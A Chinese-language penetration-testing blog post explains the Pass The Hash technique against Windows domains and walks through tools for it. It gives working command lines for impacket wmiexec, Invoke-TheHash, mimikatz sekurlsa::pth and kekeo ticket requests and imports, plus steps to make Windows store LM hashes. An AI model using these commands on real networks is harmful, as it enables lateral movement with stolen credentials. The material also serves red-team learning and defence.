7、域滲透——Pass The Hash的實現

FLy_鵬程萬里發表於2018-06-11

0x00 前言


在之前的文章《域滲透——Pass The Hash & Pass The Key》曾介紹過kb2871997對Pass The Hash的影響。本文將站在另一個角度,介紹Pass The Hash的相關實現

0x01 簡介


本文將要介紹以下內容:

  • Pass The Hash的原理
  • 常用工具
  • mimikatz中的Pass The Hash
  • mimikatz中的Pass The Ticket

0x02 Pass The Hash的原理


可參考Wikipedia的介紹,地址如下:

https://en.wikipedia.org/wiki/Pass_the_hash

提取出關鍵資訊:

  • 在Windows系統中,通常會使用NTLM身份認證
  • NTLM認證不使用明文口令,而是使用口令加密後的hash值,hash值由系統API生成(例如LsaLogonUser)
  • hash分為LM hash和NT hash,如果密碼長度大於15,那麼無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟預設禁用LM hash
  • 如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該使用者(即跳過呼叫API生成hash的過程)

注:

mimikatz支援匯出記憶體中使用者的LM hash,但前提是Windows系統支援LM hash

Windows Server 2008啟用LM hash的方法:

gpedit.msc-計算機配置-Windows 設定-安全設定-本地策略-安全選項

找到網路安全︰ 不要在下次更改密碼儲存 LAN 管理器的雜湊值,選擇已禁用

系統下一次更改密碼後,就能夠匯出LM hash

0x03 常用工具


當我們獲得某個使用者的口令hash,並且條件限定我們不去破解明文口令,實現Pass The Hash都有哪些工具呢?

1、Kali下的工具

(1) meterpreter

use exploit/windows/smb/psexec_psh

(2) 工具集

位於密碼攻擊-Passing the Hash下,如下圖


包含多種利用工具

2、Windows系統下的工具

(1) python

wmiexec:

參考地址:

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe版本下載地址:

https://github.com/maaaaz/impacket-examples-windows

注:

wmiexec.py的註釋中提示"Main advantage here is it runs under the user (has to be Admin) account",經實際測試普通使用者許可權即可

引數例項:

wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 "whoami"

wmiexec.py的hash引數格式為LMHASH:NTHASH,由於該Hash來自於Server 2008,系統預設不支援LM hash,所以LM hash可以設定為任意值

(2) powershell

參考地址:

https://github.com/Kevin-Robertson/Invoke-TheHash/

支援多種方式

Invoke-WMIExec:

引數例項:

Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

類似wmiexec.py

Invoke-SMBExec:

支援SMB1, SMB2 (2.1), and SMB signing

引數例項:

Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose

通過在目標主機建立服務執行命令,所以許可權為system

Invoke-SMBClient:

支援SMB1, SMB2 (2.1), and SMB signing

如果只有SMB檔案共享的許可權,沒有遠端執行許可權,可以使用該指令碼

支援的功能包括列舉目錄、上傳檔案、下載檔案、刪除檔案(具體許可權取決於該口令hash的許可權)

(3) mimikatz

Pass-The-Hash:

實際上為Overpass-the-hash

引數例項:

privilege::debug
sekurlsa::pth /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1

注:

mimikatz的pth功能需要本地管理員許可權,這是由它的實現機制決定的,需要先獲得高許可權程式lsass.exe的資訊

對於8.1/2012r2,安裝補丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

Pass-The-Ticket:

考慮到mimikatz的pth功能需要本地管理員許可權,所以mimikatz也提供了不需要管理員許可權的解決方法Pass-The-Ticket

Pass-The-Ticket需要用到gentilkiwi開源的另一款工具kekeo,下載地址:

https://github.com/gentilkiwi/kekeo

引數例項:

kekeo "tgt::ask /user:test1 /domain:test.local /ntlm:7ECFFFF0C3548187607A14BAD0F88BB1"

執行後生成票據TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi

接下來匯入票據:

kekeo "kerberos::ptt TGT_test1@TEST.LOCAL_krbtgt~test.local@TEST.LOCAL.kirbi"

0x04 小結


本文列舉了多種實現Pass The Hash的工具,歡迎補充

相關文章